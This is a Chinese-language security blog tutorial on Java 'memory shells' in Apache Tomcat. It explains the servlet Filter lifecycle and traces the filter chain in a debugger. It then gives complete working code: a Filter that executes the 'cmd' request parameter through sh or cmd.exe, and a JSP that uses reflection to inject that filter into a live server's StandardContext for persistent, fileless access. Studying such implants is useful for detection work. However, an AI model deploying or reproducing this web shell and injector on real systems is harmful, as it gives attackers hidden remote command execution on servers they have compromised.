Java内存马学习--Filter内存马

admin 管理员组

文章数量: 887021

通过对基本概念的学习，我们可以知道，filter就是一个存在客户端和服务器端中间一个对请求进行过滤的一个类似组件的东西，唯一比较特殊的一点就是，服务在启动的时候会优先执行这个filter之中的内容，那么就会出现问题，我们可以构造一个能执行恶意命令的filter加入到这里面，从而实现对目标的控制。

例：shell_Filters.java

package filter;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

public class shell_Filters implements Filter {
    public void destroy() {
    }

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        if (req.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            resp.getWriter().write(output);
            resp.getWriter().flush();
        }
        chain.doFilter(request, response);
        System.out.println("shell_Filters 执行");
    }

    public void init(FilterConfig config) throws ServletException {

    }
}

执行结果：我们直接在index.jsp 即默认路径下执行加入cmd参数进行命令执行

那么下面进入正题

1.Filter的生命周期

public void init(FilterConfig filterConfig) throws ServletException; //初始化

和我们编写的Servlet程序一样，Filter的创建和销毁由WEB服务器负责。web 应用程序启动时， web 服务器将创建Filter 的实例对象，并调用其init方法，读取web.xml配置，完成对象的初始化功能，从而为后续的用户请求作好拦截的准备工作（filter对象只会创建一次，init方法也只 会执行一次）。开发人员通过init方法的参数，可获得代表当前filter配置信息的FilterConfig对象。

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException; //拦截请求

这个方法完成实际的过滤操作。当客户请求访问与过滤器关联的URL的时候，Servlet过滤器将先执行doFilter方法。FilterChain参数用于访问后续过滤器。

public void destroy(); //销毁

Filter对象创建后会驻留在内存，当web应用移除或服务器停止时才销毁。在Web容器卸载Filter对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中，可以释放过滤器使用的资源。

2.Filter相关类介绍

FilterDefs：存放FilterDef的数组 ，FilterDef 中存储着我们过滤器名，过滤器实例等基本信息

FilterConfigs：存放filterConfig的数组，在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

FilterMaps：存放FilterMap的数组，在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

FilterChain：过滤器链，该对象上的 doFilter 方法能依次调用链上的 Filter

ApplicationFilterChain：调用过滤器链

ApplicationFilterConfig：获取过滤器

ApplicationFilterFactory：组装过滤器链

WebXml：存放 web.xml 中内容的类

ContextConfig：Web应用的上下文配置类

StandardContext：Context接口的标准实现类，一个 Context 代表一个 Web 应用，其下可以包含多个 Wrapper

StandardWrapperValve：一个 Wrapper 的标准实现类，一个 Wrapper 代表一个Servlet

3.Filter过滤链分析

3.1 首先安装依赖，pom.xml中添加

<dependencies>
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-catalina</artifactId>
        <version>9.0.52</version>
        <scope>provided</scope>
    </dependency>
</dependencies>

3.2 新建一个Serlvet 

IntelliJ IDEA创建Servlet最新方法 Idea版本2020.2.2以及IntelliJ IDEA创建Servlet 404问题（超详细）

3.3 修改web.xml

这里加入了两个Filter

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp/xml/ns/javaee"
         xmlns:xsi="http://www.w3/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp/xml/ns/javaee http://xmlns.jcp/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <filter>
        <filter-name>shell_Filters</filter-name>
        <filter-class>filter.shell_Filters</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>shell_Filters</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

    <filter>
        <filter-name>filterDemo</filter-name>
        <filter-class>filter.FilterDemo</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>filterDemo</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

</web-app>

其中 shell_Filters.java

package filter;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

public class shell_Filters implements Filter {
    public void destroy() {
    }


    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        if (req.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            resp.getWriter().write(output);
            resp.getWriter().flush();
        }
        chain.doFilter(request, response);
        System.out.println("shell_Filters 执行");
    }

    public void init(FilterConfig config) throws ServletException {
    }
}

FilterDemo.java

package filter;

import javax.servlet.*;
import java.io.IOException;

public class FilterDemo implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("第一个Filter 初始化创建");
    }
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("第一个Filter执行过滤操作");
        filterChain.doFilter(servletRequest,servletResponse);
    }
    @Override
    public void destroy() {
    }
}

Tomcat中Filter调用过程分析

大致看一下过程，我们通过StandardWrapperValue这个方法最后得到了FilterChain，其中Tomcat会首先通过ContextConfig创建WebXML的实例来解析web.xml从而获取到filter，然后ApplicationFilterFactory会对filter的名称和待拦截的url放到FilterMap中去，然后进行一次url匹配，然后将获取的FilterChain返回到StandardWrapperValue中去，然后在StandardWrapperValue中会调用chain.doFilter方法，从而实现执行对应的filter，那么下面调试一下。

首先在StandardWrapperValue处下断点

在org.apache.catalina.core.StandardWrapperValue

从上述流程图我们可以看到这个方法是为了获取FilterChain，那么我们直接在相关位置下断点即可

这里我们可以看到ApplicationFilterFactory会调用对应的createFilterChain的方法，那么我们F7继续跟进

其中我们关注的是对context和filter的处理，于是运行到如图两个断点后，我们观察一下变量内容，点击后面的toString可以清晰一些

发现其中前两个filter是我们在web.xml中新增的，最后一个是Tomcat的，那么我们继续向下看，根据流程图我们会将filter放到FilterMap中，于是

单步步过F8会经过matchFiltersURL这个方法，其中是对url进行过滤，然后进入addFilter这个方法

我们关注变量中的filterConfig和this.filters，根据代码可以看出来第一个for循环是去除重复项，后面是将filterConfig加入到filters中

通过调试即可验证我们的分析

最终FilterMaps中包括了这三个filter，然后返回这个FilterMaps，继续向下

来到filterChain的doFilter方法，跟进

最后会进入internalDoFilter这个方法中，继续跟进

其中这里包含Filter对象类型的doFilter方法，即可以执行我们构造的filter对象的doFilter方法，继续跟进就会来到我们构造的filter中

从而调用我们自定义过滤器中的 doFilter 方法，从而触发了相应的代码。

总结：

1. 根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称

2. 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig

3. 找到对应的 FilterConfig 之后添加到 FilterChain中，并且返回 FilterChain

4. filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ，然后从 FilterConfig 中获取 Filter，然后调用 Filter 的 doFilter 方法

然后我们访问http://localhost:8081/untitled3_war_exploded/?cmd=whoami

当运行到如下

可以发现程序在创建过滤器链的时候，如果我们能够修改filterConfigs，filterDefs，filterMaps这三个变量，将我们恶意构造的FilterName以及对应的urlpattern存放到FilterMaps，就可以组装到filterchain里，当访问符合urlpattern的时候，就能达到利用Filter执行内存注入的操作。

内存马的动态注册 — 主要目的

根据上面内容的最后我们可以知道利用条件，那么这次就实现动态注入内存马，正常来说内存马是用来维持权限的，那么就需要我们拿到服务器的shell，并且这台服务器的服务是搭建在Tomcat上的时候，我们才能实现内存马的注入，好了，话不多说，直接争取实现利用。

根据上面的图我们可以知道，我们的目的是设置filterConfigs，filterDefs，filterMaps 这三个参数，所以我们就需要通过一些手段获取到这三个变量

根据上图我们可以知道，context变量里面包含了三个和filter有关的成员变量：filterConfigs，filterDefs，filterMaps，那么我们首先需要获取到context对象，那么继续了解一下基础知识

ServletContext跟StandardContext的关系

Tomcat中的对应的ServletContext实现是ApplicationContext。在Web应用中获取的ServletContext实际上是ApplicationContextFacade对象，对ApplicationContext进行了封装，而ApplicationContext实例中又包含了StandardContext实例，以此来获取操作Tomcat容器内部的一些信息，例如Servlet的注册等。

如何获取StandardContext

当我们能直接获取 request 的时候，我们这里可以直接使用如下方法

将我们的 ServletContext 转为 StandardContext 从而获取 context

ps：当 Web 容器启动的时候会为每个 Web 应用都创建一个 ServletContext 对象，代表当前 Web 应用

    ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
        // ApplicationContext 为 ServletContext 的实现类
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
        // 这样我们就获取到了 context 
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

其他的获取 context 的方法（ 暂时还未仔细研究，所以这里就先放链接了）

从线程中获取StandardContext

如果没有request对象的话可以从当前线程中获取

Tomcat的一种通用回显方法研究 - 知乎

从MBean中获取

https://scriptboy/p/tomcat-filter-inject/

我们主要的目的就是获得这个context，然后对其中的filter对象进行一些修改，并加入我们自己构造的恶意filter，那么下面就开始调试过程理解代码。

内存马的动态注册 — 构造payload的过程

我们用jsp页面进行payload的调试，首先把web.xml中的所有filter注释掉

然后在web目录下新建一个filterDemo.jsp页面

其中内容为

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "FilterAgent";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    System.out.println(appctx);
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
            }
            @Override
            public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
                HttpServletRequest req = (HttpServletRequest) request;
                HttpServletResponse resp = (HttpServletResponse) response;
                if (req.getParameter("cmd") != null) {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    resp.getWriter().write(output);
                    resp.getWriter().flush();
                }
                chain.doFilter(request, response);
                System.out.println("成功注入！");
            }
            @Override
            public void destroy() {

            }
        };

        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 将filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        out.print("Inject Success !");
    }
%>

搞到这其实我还有些疑问，本来一直都是搞的class，到这就换成jsp了，不仅不知道为什么，而且没咋写过jsp，在idea中也没用过，后来网上冲浪发现jsp就是java实现servlet的方式，啊，豁然开朗！粗略看了一下下面的调试过程，主要就是利用反射的技术，其他就是跟进，并且想办法将我们构造的filter加入到tomcat中去，因为我们原来是直接写入到web.xml中去，就是直接更改配置文件了，这次是通过代码的方式将将我们构造的恶意filter直接加入到context中直接执行，就省了解析web.xml的那一步了，个人理解是这样的，那么下面开始调试一下。

首先是获取context的过程

 ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    System.out.println(appctx);
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

我们在第一条语句处下断点，然后通过访问http://localhost:8081/untitled3_war_exploded/filterDemo.jsp 这个路径，运行停到断点处

然后单步步过F8

在Web应用中获取的ServletContext实际上是ApplicationContextFacade对象，对ApplicationContext进行了封装，而ApplicationContext实例中又包含了StandardContext实例，以此来获取操作Tomcat容器内部的一些信息，例如Servlet的注册等。通过上面的图可以很清晰的看到两者之间的关系。

当我们能直接获取 request 的时候，可以直接将 ServletContext 转为 StandardContext 从而获取 context。其实也是层层递归取出context字段的值。

通过Java反射获取servletContext所属的类（ServletContext实际上是ApplicationContextFacade对象），使用getDeclaredField根据指定名称context获取类的属性（private final org.apache.catalina.core.ApplicationContext），因为是private类型，所以使用setAccessible取消对权限的检查，实现对私有的访问，此时appctx的值：

然后

ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

是获取(ApplicationContext)context的内容，那么现在我们已经得到了(ApplicationContext)context，我们需要获取到(StandardContext)context的值。

看变量值我们可以发现stdctx中的值为

private final org.apache.catalina.core.StandardContext org.apache.catalina.core.ApplicationContext.context

其中存在StandardContext，那么说明ApplicationContext实例中包含了StandardContext实例，这几行代码原理同上

然后我们就得到了我们需要的context

修改filterConfigs，filterDefs，filterMaps

查看StandardContext的源码，看几个方法

addFilterDef：添加一个filterDef到Context

addFilterMapBefore：添加filterMap到所有filter最前面

然后还有一个方法

ApplicationFilterConfig：为指定的过滤器构造一个新的 ApplicationFilterConfig

然后我们继续向下看，构造一个恶意的filter，就用之前的shell_Filters就可以，然后继续向下

FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef)

上边代码执行完，我们会实例化一个FilterDef对象，并将恶意构造的恶意类添加到filterDefs中

可以看到filterDefs成功添加，接下来开始装载filterMaps，下面的代码是实例化一个FilterMap对象，并将filterMap到所有filter最前面

//创建filterMap，设置filter和url的映射关系,可设置成单一url如/xyz ,也可以所有页面都可触发可设置为/*
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/xyz");

//name = filterDemo
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

//添加我们的filterMap到所有filter最前面
standardContext.addFilterMapBefore(filterMap);

filterConfigs装载

FilterConfigs存放filterConfig的数组，在FilterConfig中主要存放FilterDef和Filter对象等信息

先获取当前filterConfigs信息

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

可以看到只有Tomcat默认的Filter，下面通过Java反射来获得构造器（Constructor）对象并调用其newInstance()方法创建创建FilterConfig

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); 
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

先调用ApplicationFilterConfig.class.getDeclaredConstructor方法，根据context.class与filterDef.class两种参数类型寻找对应的构造方法，获取一个Constructor类对象。

然后通过newInstance(standardContext, filterDef)来创建一个实例。

然后将恶意的filter名和配置好的filterConfig传入

filterConfigs.put(name,filterConfig);

再次运行可以发现filterMaps中出现了FilterMap中出现了我们构造的filter即FilterAgent

已经成功注入到内存中。

完整代码：

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
 
 
<%
    final String name = "shell";
    // 获取上下文，即standardContext
    ServletContext servletContext = request.getSession().getServletContext();
 
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
 
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    //获取上下文中 filterConfigs
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
    //创建恶意filter
    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
 
            }
 
            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null) {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner( in ).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);
                    servletResponse.getWriter().flush();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }
 
            @Override
            public void destroy() {
 
            }
 
        };
        //创建对应的FilterDef
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 将filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);
        //创建对应的FilterMap，并将其放在最前
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
 
        standardContext.addFilterMapBefore(filterMap);
        //调用反射方法，去创建filterConfig实例
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
        //将filterConfig存入filterConfigs，等待filterchain.dofilter的调用
        filterConfigs.put(name, filterConfig);
        out.print("Inject Success !");
    }
%>
<html>
<head>
    <title>Title</title>
</head>
<body>
 
</body>
</html>

本文标签： 内存 java filter